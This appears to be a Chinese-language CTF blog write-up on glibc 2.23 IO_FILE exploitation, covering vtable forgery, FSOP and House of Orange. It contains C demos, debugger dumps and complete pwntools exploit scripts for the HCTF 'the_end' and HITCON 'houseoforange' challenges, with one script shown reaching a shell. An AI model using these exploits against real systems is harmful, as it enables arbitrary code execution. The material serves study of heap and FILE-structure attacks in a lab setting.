IIO_FILE 漏洞利用

伪造vtable–2.23

在glibc2.23中虽然vtable所在的libc段不可写,但是没有像2.24那样加入对vtable的检查机制,所以利用也不是很难。
在2.23版本下用任意写环境对vtable表进行攻击已经不不适用了,所以只能采取劫持IO_FILE_plus结构体的vtable指针,伪造vtable表。然后在表项中直接填入one_gadge,这个比较简单。
但是如果用不了one_gadget还有一种方式就是,泄露system函数地址,将system地址写入对应表项。由于 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址
所以我们可以将/bin/sh提前写入_IO_FILE_plus 堆的首地址中。

演示

我在本地把地址随机化关了:0x7ffff7a523a0 system地址

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(void)
{
    FILE *fp;
    void *func[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    0x7ffff7a523a0, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    NULL,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
    };
    unsigned long *vtable_ptr;
    unsigned char *ptr;
    ptr = malloc(sizeof(FILE) + sizeof(void*));
    free(ptr);
    fp=fopen("test.txt","rw");
    vtable_ptr=(unsigned long *)((ptr+sizeof(FILE)));     //get vtable

    void *fake_vtable = malloc(0x100);
    //void *memcpy(void *str1, const void *str2, size_t n)
    memcpy((void *)fake_vtable,(const void *)func,sizeof(func)); 

    *vtable_ptr = fake_vtable; //vtable  hijack
    //0x7ffff7a523a0; //xsputn
    memcpy((void *)fp,"/bin/sh\x00",8);
    /*这里将会间接调用vtable中的system函数,在调用时第一个参数就是fp,而此时fp我们已经写入/bin/sh字符串*/
    fwrite("hi",2,1,fp);  
}
0x400865 <main+335>    call   fwrite@plt <fwrite@plt>
        ptr: 0x400929 ◂— push   0x1b010069 /* 'hi' */
        size: 0x2
        n: 0x1
        s: 0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */
.....
...
 RAX  0x602240 ◂— 0x0
 RBX  0x2
 RCX  0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RDX  0x2
*RDI  0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */    <===============
 RSI  0x400929 ◂— push   0x1b010069 /* 'hi' */
 R8   0x6020f0 ◂— 0x100000001
 R9   0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */
 R10  0x2
 R11  0x7ffff7a7b6f0 (fwrite) ◂— push   r14
 R12  0x400929 ◂— push   0x1b010069 /* 'hi' */
 R13  0x10x7ffff7a7b7c8 <fwrite+216>    call   qword ptr [rax + 0x38] <system>

2018 HCTF the_end

checksec

[*] '/home/matrix/PWN/how2heap/wiki_heap/IO_FILE/the_end'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

canary 关闭

IDA

一个很简短的程序

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep); 
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

我们可以直接泄露libc基址,然后for循环提供了5次任意地址写的环境

思路

前面两个close函数关闭了stdout,stderr流,程序不会再进行输出。但在调用exit函数时,会遍历_IO_list_all,根据_IO_2_1_stdout_下的vtable指针调用表项中的stebuf函数。在glibc <= 2.23环境下我们可以篡改vtable指针并在fake_vtable的setbuf的偏移处覆盖为one_gadget.

  • 由于这里只能任意写5个字节,所以先覆盖IO_2_1_stdout->vtable* 的低2字节,只要使得到的fake_vtable处于可写入地址即可
  • 在fake_vtable的setbuf处必须有一个libc中的地址,这样我们就只需覆盖其低3字节的地址即可
    pwndbg> p *(struct _IO_jump_t *)0x7fd551fd4000  \<\=======注意要把vtable覆盖为可写入地址
    $2 = {
    __dummy = 3947424, 
    __dummy2 = 140554182475776, 
    .....
    ...
    __seekpos = 0x7fd551d5c0b0 <__strncasecmp_avx>, 
    __setbuf = 0x7fd551feec26 <add_to_global+598>, <=======只需覆盖3字节
    __sync = 0x7fd551d5a6b0 <__strcspn_sse42>, 
    }

EXP

#+++++++++++++++++++the_end.py++++++++++++++++++++
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: Wed Oct 28 17:14:52 CST 2020
#+++++++++++++++++++the_end.py++++++++++++++++++++
from pwn import*

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./the_end_0')
#libc = ELF('/glibc/x64/2.27/lib/libc-2.27.so')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')

sh = process('./the_end_0')
#sh = remote('node3.buuoj.cn',26557)

sh.recvuntil('here is a gift ')
sleep_addr = int(sh.recvuntil(',',drop=1),16)
libc_addr = sleep_addr - libc.symbols['sleep']
vtable_addr = libc_addr + 0x3c56f8
fake_table = libc_addr + 0x3c4000
padding1 = [pack(fake_table % 0x10000)[0],pack(fake_table % 0x10000)[1] ]#0x0c00
log.success('libc_addr=====>'+str(hex(libc_addr)))
log.success("fake_table=====>"+str(hex(fake_table)))

one_gad = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_addr + one_gad[0]
log.success("one_gadget======>"+str(hex(onegadget)))
tmp = onegadget % 0x1000000
padding2 = [p32(tmp)[0],p32(tmp)[1],p32(tmp)[2]]
print padding2
for i in range(2):
    sh.send(p64(vtable_addr+i))
    sh.send(padding1[i])

#gdb.attach(sh,'b*$rebase(0x00000000000093A)')
for j in range(3):
    sh.send(p64(fake_table+0x58+j))
    sh.send(padding2[j])

sh.interactive()

我在本地虽然成功覆盖为one_gadget最终也没有得到shell,我调试之后发现应该使我本地one_gadget所需环境导致的:
本地one_gadget:

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

在要执行one_gadget时,因为是通过调用vtable的,所以rax会是_IO_FILE_plus地址,而其他3个地方都放着指令地址,所以我估计没戏了

.....
*RAX  0x7f0d99e5c000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3c3ba0  <====================1
.....
─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
 ► 0x7f0d99add226 <do_system+1014>    lea    rsi, [rip + 0x381333] <0x7f0d99e5e560>
   0x7f0d99add22d <do_system+1021>    xor    edx, edx
   0x7f0d99add22f <do_system+1023>    mov    edi, 2
.........
.....
05:00280x7ffc7cacc400 —▸ 0x7f0d99e5dc40 (initial) ◂— 0x0
06:00300x7ffc7cacc408 —▸ 0x7f0d99ad1fab (__run_exit_handlers+139) ◂— add    rbp, 8   <==============2
07:00380x7ffc7cacc410 —▸ 0x7f0d9a089168 —▸ 0x5635b4581000 ◂— jg     0x5635b4581047
pwndbg> 
08:00400x7ffc7cacc418 ◂— 0x0
09:00480x7ffc7cacc420 —▸ 0x7ffc7cacc460 —▸ 0x5635b4581970 ◂— push   r15
0a:00500x7ffc7cacc428 —▸ 0x5635b45817a0 ◂— xor    ebp, ebp       <===================3
0b:00580x7ffc7cacc430 —▸ 0x7ffc7cacc540 ◂— 0x1
0c:00600x7ffc7cacc438 —▸ 0x7f0d99ad2055 ◂— nop    word ptr cs:[rax + rax]
0d:00680x7ffc7cacc440 ◂— 0x0
0e:00700x7ffc7cacc448 —▸ 0x5635b4581969 ◂— nop    dword ptr [rax]   <===================4

FSOP

介绍

FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流(注意是所有流),相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

对应源码:

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
        ...
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)   //,如果输出缓冲区有数据,刷新输出缓冲区
    result = EOF;


    fp = fp->_chain; //遍历链表
    }
...t
}

通过对fwrite分析,我们知道输出缓冲区的数据保存在fp->_IO_write_base处,且长度为fp->_IO_write_ptr-fp->_IO_write_base,因此上面的if语句实质上是判断该FILE结构输出缓冲区是否还有数据,如果有的话则调用_IO_OVERFLOW去刷新缓冲区。其中_IO_OVERFLOW是vtable中的函数,因此如果我们可以控制_IO_list_all链表中的一个节点的话,就有可能控制程序执行流

一般调用_IO_flush_all_lockp的情况为:

  • libc执行abort函数时。(如malloc中的报错)
  • 程序执行exit函数时。
  • 程序从main函数返回时。

    abort函数栈回溯:
    _IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
    __GI_abort ()
    __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7ba0d58 "*** Error in `%s': %s: 0x%s ***\n")
    malloc_printerr (action=0x3, str=0x7ffff7ba0e90 "double free or corruption (top)", ptr=<optimized out>, ar_ptr=<optimized out>)
    _int_free (av=0x7ffff7dd4b20 <main_arena>, p=<optimized out>,have_lock=0x0)
    main ()
    __libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
    _start ()

exit函数,栈回溯为:

_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
main ()
__libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()

程序正常退出,栈回溯为:

_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
__libc_start_main (main=0x400526 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()

那么我们在成功劫持_IO_list_all之后,要做的就是绕过_IO_flush_all_lockp调用时的检查

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base
    或者:
  • _IO_vtable_offset (fp) == 0
  • fp->_mode > 0
  • fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

演示

本地关闭地址随机化

#include<stdio.h>
#include<stdlib.h>

#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
    void *ptr;
    long long *list_all_ptr;

    ptr=malloc(0x200);
    /*fake_FILE_plus*/
    *(long long*)((long long)ptr+mode_offset)=0x0;   
    *(long long*)((long long)ptr+writeptr_offset)=0x1; 
    *(long long*)((long long)ptr+writebase_offset)=0x0;
    *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

    *(long long*)((long long)ptr+0x100+24)=0x41414141;
    /*hijack _IO_list_all*/
    list_all_ptr=(long long *)_IO_list_all;

    list_all_ptr[0]=ptr;

    exit(0);
}

栈回溯:

pwndbg> backtrace 
#0  0x0000000041414141 in ?? ()
#1  0x00007ffff7a891a6 in _IO_flush_all_lockp (do_lock=do_lock@entry=0) at genops.c:786   <===================
#2  0x00007ffff7a8933a in _IO_cleanup () at genops.c:951
#3  0x00007ffff7a46fab in __run_exit_handlers (status=0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=true) at exit.c:95
#4  0x00007ffff7a47055 in __GI_exit (status=<optimized out>) at exit.c:104
#5  0x00000000004005f9 in main () at FSOP.c:28
#6  0x00007ffff7a2d840 in __libc_start_main (main=0x400566 <main>, argc=1, argv=0x7fffffffdf28, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdf18) at ../csu/libc-start.c:291
#7  0x0000000000400499 in _start ()

house of orange

简介

House of Orange 与其他的 House of XX 利用方法不同,这种利用方法来自于 Hitcon CTF 2016 中的一道同名题目。由于这种利用方法在此前的 CTF 题目中没有出现过,因此之后出现的一系列衍生题目的利用方法我们称之为 House of Orange。

原理

简单来说就是:在我们malloc申请空间时,在不超过128kb的情况下如果连top 都无法满足需求,那么将会把top链入unsortedbin ,通过brk来扩展heap,如果超过128kb(0x20000,初始top为0x21000)将用mmap分配。
所以说,如果top被链入unsortedbin那么我们就在没有free函数的情况下将top给free了,而且由于top填入了unsortedbin表头那么,还有可能泄露libc地址。然后如果top的size合适,由于unsortedbin 是
相当于fake_top的存在,所以之后的malloc只要size不是很大我们还是会在原top中分配内存(泄露地址),但要注意unsortedbin的大循环。

在调用brk之前对top的检查有:

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

如果第一次调用本函数,top chunk 可能没有初始化,所以可能 old_size 为 0,然后如果 top chunk 已经初始化了,那么 top chunk 的大小必须大于等于 MINSIZE。其次 top chunk 必须标识前一个 chunk 处于 inuse 状态,并且 top chunk 的结束地址必定是页对齐的。此外 top chunk 除去 head的大小必定要小于所需 chunk 的大小,否则在_int_malloc() 函数中会使用 top chunk 分割出 chunk

我们总结一下伪造的 top chunk size 的要求:

  • 伪造的 size 必须要对齐到内存页(因此我们伪造的 fake_size 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等对 4kb 对齐的 size)
  • size 要大于 MINSIZE
  • size 要小于之后申请的 chunk size + MINSIZE
  • size 的 prev inuse 位必须为 1
演示
#include<stdio.h>
#include<stdlib.h>

#define fake_size 0x1fe1

int main(void)
{
    void *ptr;

    ptr=malloc(0x10);
    ptr=(void *)((int)ptr+24);

    *((long long*)ptr)=fake_size;  //<===========0x602020 + 0x1fe0 == 0x604000页对齐

    malloc(0x2000);

    malloc(0x60);
}

结果:

(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x625010 (size : 0x20ff0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x602020 (size : 0x1fc0) 
pwndbg> x/8gx 0x602020
0x602020:    0x0000000000000000    0x0000000000001fc1
0x602030:    0x00007ffff7dd1b78    0x00007ffff7dd1b78  <==================
0x602040:    0x0000000000000000    0x0000000000000000

那么在 malloc(0x60)时将会分配到插入unsortedbin表头的chunk:

pwndbg> x/32gx 0x602020
0x602020:    0x0000000000000000    0x0000000000000071  <=======malloc(0x60)
0x602030:    0x00007ffff7dd2208    0x00007ffff7dd2208
0x602040:    0x0000000000602020    0x0000000000602020
0x602050:    0x0000000000000000    0x0000000000000000
0x602060:    0x0000000000000000    0x0000000000000000
0x602070:    0x0000000000000000    0x0000000000000000
0x602080:    0x0000000000000000    0x0000000000000000
0x602090:    0x0000000000000000    0x0000000000001f51  <========被切割的lastremainder,在unsortedbin
0x6020a0:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
0x6020b0:    0x0000000000000000    0x0000000000000000

HITCON HOUSE OF ORANGE

checksec

[*] '/home/matrix/PWN/how2heap/wiki_heap/IO_FILE/houseoforange'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开

IDA

整个程序就是:输入橘子的name,price,color,然后就随机展示一个对应颜色的橘子

  • add:输入name,price,color,形成orange结构体,结构体之间没有相互关联,最多add4次
  • show:常规输出,只是在输出orange时从data数据段随机选取orange
  • edit:常规edit,存在堆溢出,最多修改3次
  • 没有free函数

数据结构:

struct orange{
    void *set;  //set = calloc(1,8) for price and color
    void *name;  //name = malloc(size) 
};

程序的漏洞在:

  v2 = read_int();
  if ( v2 > 0x1000 )   <=======
    v2 = 4096;
  printf("Name:");
  read_like((void *)bss_ptr_chunk[1], v2); <======
  printf("Price of Orange: ", v2);
  v1 = (_DWORD *)*bss_ptr_chunk;
  *v1 = read_int();

思路

注意只有3次edit,和4次add
用3次add和2次edit泄露libc地址和堆基址

  • 利用hourse of orange将top放入unsortedbin中,这便写入了libc地址
  • 然后再add一个largechunk,这样largechunk分配出来后其fd_nextsize,bk_nextsize都会指向自己
    相关源码:
               /*1处于smallbinsfanwei 2存在last_remainder   3 size大于nb + MINSIZE,保证可以进行切割   先在unsortedbin搜索*/     
              if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                  victim == av->last_remainder &&
                  (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                      .....
                      ....
                      ...
                /*我们是add一个largechunk上面几个苛刻条件没满足,那就直接把old_top的链接解除*/
               /* remove from unsorted list 最后的chunk解除链接 */
              unsorted_chunks(av)->bk = bck;
              bck->fd                 = unsorted_chunks(av);                    
              ....
              ..
              /*解除old_top的链接后,将会放入largebins,而此时largebins是没有chunk的*/
              .....
              ...
               victim->fd_nextsize = victim->bk_nextsize = victim;  //如果largebins没有chunk,则fd_nextsize和bk_nextsize都指向自己   
               ....
               ...         
    最后再进行遍历,从largebin中切割old_top,然后剩下的old_top作为lastremainder又放入unsortedbin中
    add(8,'A'*7,100,1);  #fake_size = 0xfa1      #add1
    fake_size = 'A'*0x38 + p64(0xfa1)
    edit(0x41,fake_size,100,1)             #edit1
    add(0x1000,'B'*8,100,1)               #add2   orange
    add(0x400,'',100,1) 
    结果:
    0x55555575b0c0:    0x0000000000000000    0x0000000000000411
    0x55555575b0d0:    0x00007ffff7dd510a    0x00007ffff7dd5188   <========注意这里是largebins 的某一个表头
    0x55555575b0e0:    0x000055555575b0c0    0x000055555575b0c0   <========heap_addr
    0x55555575b0f0:    0x0000000000000000    0x0000000000000000
    过程示意图:

FSOP

这个时候我们只有一次add和一次edit了.
利用unsortedbin attack劫持_IO_list_all内容,这样_IO_list_all就会指向main_arena+88(unosrtedbin表头).此时恰好指针为main_arena+88的_IO_FILE_plus结构体其_chain成员的值就是smallbins 0x60的fd字段的值:

pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd4b88  <==========main_arena + 88
$5 = {
  file = {
    _flags = -136492168, 
    _IO_read_ptr = 0x7ffff7dd4b78 <main_arena+88> "p\260uUUU", 
    _IO_read_end = 0x7ffff7dd4b88 <main_arena+104> "xK\335\367\377\177", 
    _IO_read_base = 0x7ffff7dd4b88 <main_arena+104> "xK\335\367\377\177", 
    _IO_write_base = 0x7ffff7dd4b98 <main_arena+120> "\210K\335\367\377\177", 
    _IO_write_ptr = 0x7ffff7dd4b98 <main_arena+120> "\210K\335\367\377\177", 
    _IO_write_end = 0x7ffff7dd4ba8 <main_arena+136> "\230K\335\367\377\177", 
    _IO_buf_base = 0x7ffff7dd4ba8 <main_arena+136> "\230K\335\367\377\177", 
    _IO_buf_end = 0x7ffff7dd4bb8 <main_arena+152> "\250K\335\367\377\177", 
    _IO_save_base = 0x7ffff7dd4bb8 <main_arena+152> "\250K\335\367\377\177", 
    _IO_backup_base = 0x7ffff7dd4bc8 <main_arena+168> "\270K\335\367\377\177", 
    _IO_save_end = 0x7ffff7dd4bc8 <main_arena+168> "\270K\335\367\377\177", 
    _markers = 0x7ffff7dd4bd8 <main_arena+184>, 
    _chain = 0x7ffff7dd4bd8 <main_arena+184>,   <==============
    _fileno = -136492056, 
    _flags2 = 32767, 
  }, 
  vtable = 0x7ffff7dd4c48 <main_arena+296>
}

0x7ffff7dd4bb0 <main_arena+144>:    0x00007ffff7dd4b98    0x00007ffff7dd4ba8
0x7ffff7dd4bc0 <main_arena+160>:    0x00007ffff7dd4ba8    0x00007ffff7dd4bb8      <===================smallbins 0x60表头
0x7ffff7dd4bd0 <main_arena+176>:    0x00007ffff7dd4bb8    0x00007ffff7dd4bc8      <===================_chain
0x7ffff7dd4be0 <main_arena+192>:    0x00007ffff7dd4bc8    0x00007ffff7dd4bd8

那么就利用最后一次edit把old_top改为0x60的大小(已经不是top了,就当作unsorted chunk来看),之后再次malloc一次那么将会进行unsortedbin遍历,将old_top(0x60)放入smallbins的0x60双向链表中
。那么综上修改old_top的一次malloc会造成:

  • unsortedbin attack劫持_IO_list_all,指向unsortedbin 表头
  • 同时old_top(0x60)链入smallbins(0x60)中,恰好为_IO_FILE的_chain成员

所以我们在edit old_top的同时还要伪造_IO_FILE_plus结构体

fd = libc_addr + 0x3c4b78
bk = IO_list_addr - 0x10  #unsortedbin attack  fd写入表头地址
payload = 'A'*0x400
payload += p64(0) + p64(0x21)
payload += 'A'*0x10
fake_file = '/bin/sh\x00' + p64(0x61)  #这里'/bin/sh\x00'是为了作为vtablei调用system函数时作为其第一个参数
fake_file += p64(fd) + p64(bk)  #IO_list_addr - 0x10
fake_file = fake_file.ljust(38,'\x00')
fake_file += p64(0) + p64(1) + p64(0) #base and ptr
fake_file = fake_file.ljust(0xc0,'\x00') 
fake_file += p64(0) #mode
fake_file = fake_file.ljust(0xd8,'\x00')
fake_vtable = heap_base + 0x4f0 + len(fake_file)
fake_file += p64(fake_vtable+8)

show_addr('fake_vtable',fake_vtable)
payload += fake_file
payload += '\x00'*0x8*3 + p64(system_addr)

edit(0x800,payload,100,1)

此时数据分布为:

EXP

#+++++++++++++++++++houseoforange.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: 2020.10.29 14.56.06
#+++++++++++++++++++houseoforange.py++++++++++++++++++++
from pwn import*
from pwn_debug import IO_FILE_plus
#context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./houseoforange')
#libc = ELF('./libc-2.23 _64.so')
#libc = ELF('./libc64-2.19.so')
libc=ELF('/glibc/x64/2.23/lib/libc-2.23.so')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def add(size,cont,price,color):
        sh.sendlineafter('Your choice : ','1')
        sh.sendlineafter('Length of name :',str(size))
        sh.sendlineafter('Name :',str(cont))
        sh.sendlineafter('Price of Orange:',str(price))
        sh.sendlineafter('Color of Orange:',str(color))

def edit(size,cont,price,color):
        sh.sendlineafter('Your choice : ','3')
        sh.sendlineafter('Length of name :',str(size))
        sh.sendlineafter('Name:',str(cont))
        sh.sendlineafter('Price of Orange: ',str(price))
        sh.sendlineafter('Color of Orange: ',str(color))

def show():
        sh.sendlineafter('Your choice : ','2')

def show_addr(name,addr):
        log.success("The Addr " + str(name) + ":" + str(hex(addr)))

sh = process('./houseoforange')

add(8,'A'*7,100,1);  #fake_size = 0xfa1      #add1
fake_size = 'A'*0x38 + p64(0xfa1)
edit(0x41,fake_size,100,1)             #edit1

add(0x1000,'B'*8,100,1)               #add2
add(0x400,'A'*7,100,1) 
#gdb.attach(sh)                 #add3
log.info("++++++++++++++++++++++leaking _Addr+++++++++++++++++++++++")
show()
sh.recvuntil('Name of house : ')
sh.recv(8)
#gdb.attach(sh)
libc_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x39BB20 - 0x668   #这里泄露的表头是某个largebins的所以减0x668
system_addr = libc_addr + libc.symbols['system']
show_addr('system_addr',system_addr)
edit(0x10,'B'*0xf,100,1)            #edit2

onegad = [0x3f3e6,0x3f43a,0xd5c07]
onegadget = libc_addr + onegad[0]
show_addr('onegadget',onegadget)

show()
sh.recvuntil('\n')
heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0xc0
show_addr('heap_base',heap_base)
show_addr('libc',libc_addr)
#gdb.attach(sh)
log.info("++++++++++++++++++++++IO_FILE Attack+++++++++++++++++++++++")
IO_list_addr = libc_addr + libc.symbols['_IO_list_all']
fd = libc_addr + 0x3c4b78
bk = IO_list_addr - 0x10
payload = 'A'*0x400
#edit(len(unsorted)+1,unsorted,100,1)
payload += p64(0) + p64(0x21)
payload += 'A'*0x10
fake_file = '/bin/sh\x00' + p64(0x61)
fake_file += p64(fd) + p64(bk)  #IO_list_addr - 0x10
fake_file = fake_file.ljust(38,'\x00')
fake_file += p64(0) + p64(1) + p64(0) #base and ptr
fake_file = fake_file.ljust(0xc0,'\x00') 
fake_file += p64(0) #mode
fake_file = fake_file.ljust(0xd8,'\x00')
fake_vtable = heap_base + 0x4f0 + len(fake_file)
fake_file += p64(fake_vtable+8)

show_addr('fake_vtable',fake_vtable)
payload += fake_file
payload += '\x00'*0x8*3 + p64(system_addr)

edit(0x800,payload,100,1)

sh.interactive()

需要多执行几次exp:

+++++++++++++++++++++++++++++++++++++
Your choice : $ 1
*** Error in `./houseoforange': malloc(): memory corruption: 0x00007f1ab7143520 ***
$ whoami
matrix
$  

main_arena泄露libc地址

在泄露了main_arena部分的表头后,我们需要找到main_arena这个结构体在libc中的偏移才能算出libc地址。可以用IDA反编译后,搜索malloc_trim:
源码:

伪代码:

  v28 = a1;
  if ( dword_3BE170 < 0 )
    sub_836E0();
  v27 = 0;
  v25 = &dword_3BE760;  <===========
  do
  {

总结

  • 获取libc地址
  • 改写篡改_IO_list_all为可控地址,也可以篡改_IO_FILE的_chain表项(_IO_list_all_addr 在libc的可读可写段)
  • 在可控地址伪造_IO_FILE_plus结构体,注意绕过_IO_flush_all_lockp的检查(_mode和_IO_write_ptr等 表项)
  • 伪造fake_vtable,并在_IO_overflow处写入one_gadget或system

  转载请注明: Squarer IIO_FILE 漏洞利用

 上一篇
IO_FILE --glibc2.24 IO_FILE --glibc2.24
FSOP 在新版本的 glibc 中 (2.24),全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。如果 vtable 是非法的,那么会引发 a
2020-11-07
下一篇 
House Of Einherjar House Of Einherjar
介绍house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk。其主要在于滥用 free 中的后向合并操作即合并低地址的 c
2020-10-27
  目录